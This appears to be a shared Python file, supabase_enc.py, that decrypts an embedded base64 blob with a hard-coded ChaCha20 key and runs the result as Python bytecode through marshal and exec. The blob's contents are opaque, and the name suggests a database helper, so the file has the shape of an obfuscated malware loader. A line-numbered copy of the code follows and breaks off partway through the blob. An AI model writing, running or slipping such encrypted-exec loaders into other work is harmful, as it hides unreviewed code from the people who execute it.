supabase_enc.py
· 14 KiB · Python
Raw
import marshal
import base64
import sys
from Crypto.Cipher import ChaCha20
# CONFIG
_k_hex = "47b2601eca43d9a0c8ffacc5dd83aacb59cf33a1b9efb83374c8fe2a853da039"
_p_b64 = "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"
def _run():
try:
_k = bytes.fromhex(_k_hex)
_raw = base64.b64decode(_p_b64)
_n = _raw[:12]
_ct = _raw[12:]
_cipher = ChaCha20.new(key=_k, nonce=_n)
_dec = _cipher.decrypt(_ct)
code = marshal.loads(_dec)
exec(code, globals())
except ValueError as ve:
print("Error: Integrity check failed or bad key.")
except EOFError:
print("Error: Marshal data corrupted (possibly wrong Python version).")
except Exception as e:
print(f"Error execution: {e}")
if __name__ == "__main__":
_run()
| 1 | import marshal |
| 2 | import base64 |
| 3 | import sys |
| 4 | from Crypto.Cipher import ChaCha20 |
| 5 | |
| 6 | # CONFIG |
| 7 | _k_hex = "47b2601eca43d9a0c8ffacc5dd83aacb59cf33a1b9efb83374c8fe2a853da039" |
| 8 | _p_b64 = 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J3dCyczfK+Cq1iBfAa0SB5yVN1hBf1Pnjh0keAdfWNOSEcBt+Ijbuc5mP7wtTe8t1d5Qw+pU9D1QxSXvaGCf4SuTAQpJZ6ALnGZVSwgQ42G8c2XHfaRn2Npfn2FpwhgvTM5Eet8IxSYnqLPKl4wAMr7mtNS6wM6O1SvOk1spkyib4ony1vliTdZc6Y7E2T0JpyaNpmxmpNv1OSDJifOqwBi9udzVvlvJQsIgYZkvVum+omNpqWa4U6QcngVXk5HUUX+GQPxdnFq42m2S2AGElf9XZFYmfgk9CM9B7lx/R1JDfRHfecPdUh/WAiTWslNzXatKxyAG9c2jFlUxFAEeKwpvpUXSIMUYcEAAqSxkxEHbEXKvq66RT7h/Xk2u472FGIbFxC+vL6GTcWuYono3gFgY2HBpIBamZkB2Ucy7D0QpF9Bce9A7p6rg+YGJz6guDRbzsGeKJHTNqlsKaiSuUSpPr8RRp6KB6ET+WVGAhshSOl4n8Xse+Rek8LTZpd73bXSNEGhaqud6GRQyo0eO6Hpd3bYTyMR9LYFATLA+dVhIWPBEsV0b4t9pWJw2SO0jUbM9SUQPHboZ8RC5ZPtOb1jVRzOKAT3IOJXqcQmBcYxyFGKvsnfiUjJnu/Jz0j6S/bnhgVda+wb4lduVahkguj4NlaUxtoEhqVQ0KcNmif0bHxbJVWlBNPCHMAHU9VhPWr5H0L2R0XiPTYaQvzvcMj2RG6fCsHf6WIcx/ufZlyaMG58o5mGFdNB7lT04ngF1Xasc+1T73g0cG1ppnyZf1jsh9MzB1dfl+0afpLitNZPIIfhyMesSsmt7A6U+DEkxNH1jHwDq9RtqS1TwR+TWzGclV6Ad8bMJSR33s/3Fuwoy5VKUblpgZxsivVEtwB8Tq54sgpT+6qziPR3A0LX5314qcAW05++r0+mWOJlIS+O5Z8oFTgJxMqWNHIe5CtkxHb339JFzpeZhT2r2zEWlT+mHbx3CMNEHnkF0udm8ZqEAWn2f5+AdMRoLEmkT/iqPR+htqxGSDtjaRPW420ULMq08Wt+dZAkLKET1jiy4laMpUNk5oBn0ReurOa5x/BLwpmGmZEPT4fZmB1NSuFhbsRlGXqlwOFSU4Go8jad1eyhZFsLI99ivxikbS1kQWzTHXtRiXy5/tEf4V+PJHMJQ1EIzFxNL3Q1N68YSi4MLTdYFWH6RZ6KvAdifolo3eaxJtLfS4G0LdCCKOER4k8krPTX4Nugb9TrPFqMkkJZUibHPFZsRN093MxydQQq+nyNwKe41eHpIDqi6uOG4LTyPU6aO2msUjowgUACx0SHoSZQAc+Z94i0aSxo5MAbvs7xMHSeqFjqXdN64CTt1Io4lSFnA7CXzYyHibeE49kBYZkRc5IE5NkBSpSICq9KyjHzS6BygecA81ladz4qkss2ilBqK66YN7LspgbX36WNYXCCzFuohuB17j5akFYWBotd3KhvA+Oxr42+Tmd96gODtKKkCA+gvCWnypchb4/lzCHk2f4fWY8Cme8QJKrx4ibolG8ZfgBJWb3fLCdiW0IQpdeD3T+rXis59z+ZAb9SVdjDmkytURyp+pnimRGPOIzw+3P/nMm6JUhnkdn9gMoHxcgVWufJYNx2dN175cwVJJOIJDYrbW8T41h+GJ0FGKK+Euwz5mvhNNFmFbJ1OWU+B1uxDjPL5riywt2V7nem+W9zWKKBIsVqNyaQPNZUgvbQrgGUy2TkDuEou4IqsNJNH2OFoA9jHkLLW/1DVMQCgvxcrnlLoYrNE5Vxri6P1vCtTgXYPkGR/v6SQirk8uqljHNiM+GIz1Nq2bVl5EVgu6OoH1